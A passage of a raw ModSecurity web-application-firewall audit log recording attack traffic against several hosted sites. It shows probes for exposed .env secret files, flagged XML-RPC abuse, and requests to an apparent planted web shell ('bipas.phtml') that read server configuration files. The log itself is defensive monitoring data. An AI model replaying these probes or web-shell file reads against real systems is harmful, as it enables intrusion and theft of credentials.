<https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e763526908ba99a4e06dedd91879efea1750040991; expires=Mon, 16 Jun 2025 03:29:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d878d312-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.4"] [unique_id "aE-BniSg0_FUeePR9Z0BVAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040990671338 686170 (- - -) Stopwatch2: 1750040990671338 686170; combined=2548, p1=492, p2=1908, p3=0, p4=0, p5=147, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d878d312-Z-- --5504ac48-A-- [16/Jun/2025:07:59:59.082547 +0530] aE-Bp0N_xpBAtP8SIP0-iAAAAAo 216.73.216.83 55852 127.0.0.1 7081 --5504ac48-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fetc%2Fapache2%2Fmods-available&viewfile=%2F%2Fetc%2Fapache2%2Fmods-available%2Fssl.conf HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --5504ac48-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4584 Connection: close Content-Type: text/html; charset=UTF-8 --5504ac48-H-- Message: Warning. Matched phrase "etc/apache2/mods-available/ssl.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/mods-available/ssl.conf found within ARGS:viewfile: /etc/apache2/mods-available/ssl.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/apache2/mods-available/ssl.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/mods-available/ssl.conf found within ARGS:viewfile: /etc/apache2/mods-available/ssl.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-Bp0N_xpBAtP8SIP0-iAAAAAo"] Apache-Handler: application/x-httpd-php Stopwatch: 1750040999080124 2478 (- - -) Stopwatch2: 1750040999080124 2478; combined=1216, p1=229, p2=907, p3=19, p4=23, p5=38, sr=68, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5504ac48-Z-- --aff4c452-A-- [16/Jun/2025:08:00:04.133838 +0530] aE-Bq1LyTgTLRBnIBDZjPgAAAAM 185.177.72.210 55532 127.0.0.1 7081 --aff4c452-B-- GET /:8000/.env.4 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --aff4c452-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=22fa9657ad7694178add53c7fdfd38601750041003; expires=Mon, 16 Jun 2025 03:30:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --aff4c452-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env.4"] [unique_id "aE-Bq1LyTgTLRBnIBDZjPgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041003474545 659354 (- - -) Stopwatch2: 1750041003474545 659354; combined=1772, p1=381, p2=1296, p3=0, p4=0, p5=94, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aff4c452-Z-- --c19ddb1b-A-- [16/Jun/2025:08:00:07.993821 +0530] aE-Br-Mjvy_LHXlMeRAafgAAAAU 185.177.72.210 55676 127.0.0.1 7081 --c19ddb1b-B-- GET /.env.dist HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c19ddb1b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=38c20b2a7411e47e74c3b6a60c79e4cd1750041007; expires=Mon, 16 Jun 2025 03:30:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c19ddb1b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.dist"] [unique_id "aE-Br-Mjvy_LHXlMeRAafgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041007321962 671923 (- - -) Stopwatch2: 1750041007321962 671923; combined=1775, p1=484, p2=1190, p3=0, p4=0, p5=100, sr=121, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c19ddb1b-Z-- --009c901d-A-- [16/Jun/2025:08:00:23.676764 +0530] aE-BvgD0DwMUVKUIct3dLgAAAAI 185.177.72.210 38460 127.0.0.1 7081 --009c901d-B-- GET /:5000/.env.dev HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --009c901d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0e172a57a37d2e015c32e3f0484a349e1750041023; expires=Mon, 16 Jun 2025 03:30:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --009c901d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.dev"] [unique_id "aE-BvgD0DwMUVKUIct3dLgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041022980813 696029 (- - -) Stopwatch2: 1750041022980813 696029; combined=1891, p1=384, p2=1378, p3=0, p4=0, p5=128, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --009c901d-Z-- --4ea26456-A-- [16/Jun/2025:08:00:25.825398 +0530] aE-BwSSg0_FUeePR9Z0BcQAAAAE 185.177.72.210 38538 127.0.0.1 7081 --4ea26456-B-- GET /:5000/.env.debug HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4ea26456-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3ac4cc3cdb0cf983cb996534868a6c4f1750041025; expires=Mon, 16 Jun 2025 03:30:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4ea26456-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.debug"] [unique_id "aE-BwSSg0_FUeePR9Z0BcQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041025142303 683170 (- - -) Stopwatch2: 1750041025142303 683170; combined=2007, p1=393, p2=1506, p3=0, p4=0, p5=107, sr=107, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4ea26456-Z-- --00bc9937-A-- [16/Jun/2025:08:00:37.730769 +0530] aE-BzIkQyF8-ounHsxsODgAAAA8 128.199.112.101 47170 127.0.0.1 7081 --00bc9937-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 498 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --00bc9937-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --00bc9937-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-BzIkQyF8-ounHsxsODgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041036763636 967199 (- - -) Stopwatch2: 1750041036763636 967199; combined=2186, p1=375, p2=1373, p3=46, p4=65, p5=199, sr=101, sw=128, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --00bc9937-Z-- --a527d052-A-- [16/Jun/2025:08:00:41.010911 +0530] aE-B0eOzMRjUd1ppiI2vUwAAAAQ 216.73.216.83 39098 127.0.0.1 7081 --a527d052-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2Fvar%2Fspool%2Fpostfix%2Fetc&viewfile=%2Fvar%2Fspool%2Fpostfix%2Fetc%2Fhost.conf HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --a527d052-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3041 Connection: close Content-Type: text/html; charset=UTF-8 --a527d052-E-- --a527d052-H-- Message: Warning. Matched phrase "etc/host.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/host.conf found within ARGS:viewfile: /var/spool/postfix/etc/host.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/host.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/host.conf found within ARGS:viewfile: /var/spool/postfix/etc/host.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-B0eOzMRjUd1ppiI2vUwAAAAQ"] Apache-Handler: application/x-httpd-php Stopwatch: 1750041041007335 3673 (- - -) Stopwatch2: 1750041041007335 3673; combined=1911, p1=323, p2=1452, p3=31, p4=32, p5=72, sr=84, sw=1, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a527d052-Z-- --7be5cb5c-A-- [16/Jun/2025:08:00:41.741493 +0530] aE-B0SSg0_FUeePR9Z0BfgAAAAE 216.73.216.83 39220 127.0.0.1 7081 --7be5cb5c-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fetc%2Fapache2%2Fmods-available&viewfile=%2F%2Fetc%2Fapache2%2Fmods-available%2Fautoindex.conf HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --7be5cb5c-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4213 Connection: close Content-Type: text/html; charset=UTF-8 --7be5cb5c-H-- Message: Warning. Matched phrase "etc/apache2/mods-available/autoindex.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/mods-available/autoindex.conf found within ARGS:viewfile: /etc/apache2/mods-available/autoindex.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/apache2/mods-available/autoindex.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/mods-available/autoindex.conf found within ARGS:viewfile: /etc/apache2/mods-available/autoindex.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-B0SSg0_FUeePR9Z0BfgAAAAE"] Apache-Handler: application/x-httpd-php Stopwatch: 1750041041737569 3980 (- - -) Stopwatch2: 1750041041737569 3980; combined=2012, p1=332, p2=1567, p3=31, p4=32, p5=49, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7be5cb5c-Z-- --64938233-A-- [16/Jun/2025:08:01:14.128484 +0530] aE-B8gD0DwMUVKUIct3dVAAAAAI 216.73.216.83 56054 127.0.0.1 7081 --64938233-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fetc%2Fapache2%2Fmods-available&viewfile=%2F%2Fetc%2Fapache2%2Fmods-available%2Fproxy.conf HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --64938233-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3436 Connection: close Content-Type: text/html; charset=UTF-8 --64938233-H-- Message: Warning. Matched phrase "etc/apache2/mods-available/proxy.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/mods-available/proxy.conf found within ARGS:viewfile: /etc/apache2/mods-available/proxy.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/apache2/mods-available/proxy.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/mods-available/proxy.conf found within ARGS:viewfile: /etc/apache2/mods-available/proxy.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-B8gD0DwMUVKUIct3dVAAAAAI"] Apache-Handler: application/x-httpd-php Stopwatch: 1750041074124112 4441 (- - -) Stopwatch2: 1750041074124112 4441; combined=2369, p1=404, p2=1839, p3=35, p4=36, p5=55, sr=134, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --64938233-Z-- --33ed4060-A-- [16/Jun/2025:08:01:22.095042 +0530] aE-B-WCnKbldJKSM7awgSQAAAAc 185.177.72.210 49982 127.0.0.1 7081 --33ed4060-B-- GET /:8080/front/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --33ed4060-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cf64236f1b917729af5f9e253c7aef9a1750041081; expires=Mon, 16 Jun 2025 03:31:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --33ed4060-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/front/.env"] [unique_id "aE-B-WCnKbldJKSM7awgSQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041081408134 686979 (- - -) Stopwatch2: 1750041081408134 686979; combined=1946, p1=411, p2=1399, p3=0, p4=0, p5=136, sr=119, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --33ed4060-Z-- --97add325-A-- [16/Jun/2025:08:01:30.711528 +0530] aE-CAkN_xpBAtP8SIP0-2wAAAAo 185.177.72.210 51914 127.0.0.1 7081 --97add325-B-- GET /:10000/umgebung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --97add325-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=78eafb2d43a9e032b9feef24fdb2ad111750041090; expires=Mon, 16 Jun 2025 03:31:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --97add325-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/umgebung/.env"] [unique_id "aE-CAkN_xpBAtP8SIP0-2wAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041090049043 662559 (- - -) Stopwatch2: 1750041090049043 662559; combined=2036, p1=510, p2=1435, p3=0, p4=0, p5=91, sr=116, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --97add325-Z-- --1ffe2707-A-- [16/Jun/2025:08:01:34.028905 +0530] aE-CBfrb_uQIHEwgEhzeNQAAAAA 185.177.72.210 52186 127.0.0.1 7081 --1ffe2707-B-- GET /fhir-api/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1ffe2707-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8bd682ca461c6b1139ee38e76d77233e1750041093; expires=Mon, 16 Jun 2025 03:31:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1ffe2707-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/fhir-api/.env"] [unique_id "aE-CBfrb_uQIHEwgEhzeNQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041093346464 682505 (- - -) Stopwatch2: 1750041093346464 682505; combined=2154, p1=569, p2=1494, p3=0, p4=0, p5=91, sr=125, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1ffe2707-Z-- --1e6ad275-A-- [16/Jun/2025:08:01:37.815590 +0530] aE-CCAD0DwMUVKUIct3dcQAAAAI 128.199.112.101 52372 127.0.0.1 7081 --1e6ad275-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --1e6ad275-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --1e6ad275-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 